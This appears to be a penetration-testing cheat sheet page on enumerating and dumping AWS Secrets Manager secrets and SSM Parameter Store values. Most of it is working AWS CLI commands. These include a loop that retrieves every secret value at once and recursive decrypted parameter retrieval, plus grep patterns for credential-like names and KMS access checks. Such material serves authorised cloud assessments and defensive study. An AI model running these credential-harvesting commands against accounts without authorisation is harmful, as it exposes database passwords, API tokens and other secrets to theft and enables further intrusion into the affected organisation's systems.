Skip to content
HackIndex logo

HackIndex

Secrets Manager and SSM Parameter Store Enumeration

2 min read May 24, 2026

Secrets Manager and SSM Parameter Store are the intended places to store secrets in AWS. Gaining secretsmanager:GetSecretValue or ssm:GetParameter with the right resource scope dumps credentials directly.

Secrets Manager

List all secrets (names and metadata only):

┌──(kali㉿kali)-[~]
└─$ aws secretsmanager list-secrets --profile $PROFILE --region $REGION --query 'SecretList[*].{Name:Name,ARN:ARN,Description:Description,Modified:LastChangedDate}' --output table

Retrieve the value of a specific secret:

┌──(kali㉿kali)-[~]
└─$ aws secretsmanager get-secret-value --secret-id $SECRET_NAME --profile $PROFILE --region $REGION 
{
    "Name": "prod/myapp/db",
    "SecretString": "{\"username\":\"admin\",\"password\":\"Sup3rS3cret!\",\"host\":\"mydb.cluster.us-east-1.rds.amazonaws.com\"}"
}

Dump all secret values at once:

┌──(kali㉿kali)-[~]
└─$ aws secretsmanager list-secrets --profile $PROFILE --region $REGION --query 'SecretList[*].Name' --output text | tr '\t' '\n' | while read secret; do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" --profile $PROFILE --region $REGION 2>/dev/null | jq -r '.SecretString // .SecretBinary'
done

SSM Parameter Store

List all parameters:

┌──(kali㉿kali)-[~]
└─$ aws ssm describe-parameters --profile $PROFILE --region $REGION --query 'Parameters[*].{Name:Name,Type:Type,Modified:LastModifiedDate}' --output table

SecureString parameters are encrypted with KMS. String and StringList are plaintext.

Retrieve a specific parameter (SecureString is automatically decrypted with --with-decryption):

┌──(kali㉿kali)-[~]
└─$ aws ssm get-parameter --name $PARAM_NAME --with-decryption --profile $PROFILE --region $REGION | jq -r '.Parameter.Value'
┌──(kali㉿kali)-[~]
└─$ aws ssm get-parameters-by-path --path "/" --recursive --with-decryption --profile $PROFILE --region $REGION --query 'Parameters[*].{Name:Name,Value:Value}' --output table

Common Secret Naming Patterns

After listing, prioritise secrets matching:

*password*
*secret*
*key*
*token*
*credential*
*db*
*rds*
*database*
*api*
*access*
*slack*
*github*
┌──(kali㉿kali)-[~]
└─$ aws secretsmanager list-secrets --profile $PROFILE --region $REGION | jq -r '.SecretList[].Name' | grep -iE "password|secret|key|token|db|api|credential"

KMS Key Check

SecureString parameters and Secrets Manager values use KMS for encryption. If you have kms:Decrypt on the relevant key, --with-decryption works automatically. If not, you see:

An error occurred (AccessDeniedException): ... is not authorized to perform: kms:Decrypt
┌──(kali㉿kali)-[~]
└─$ aws kms list-keys --profile $PROFILE --region $REGION
┌──(kali㉿kali)-[~]
└─$ aws kms describe-key --key-id $KEY_ID --profile $PROFILE --region $REGION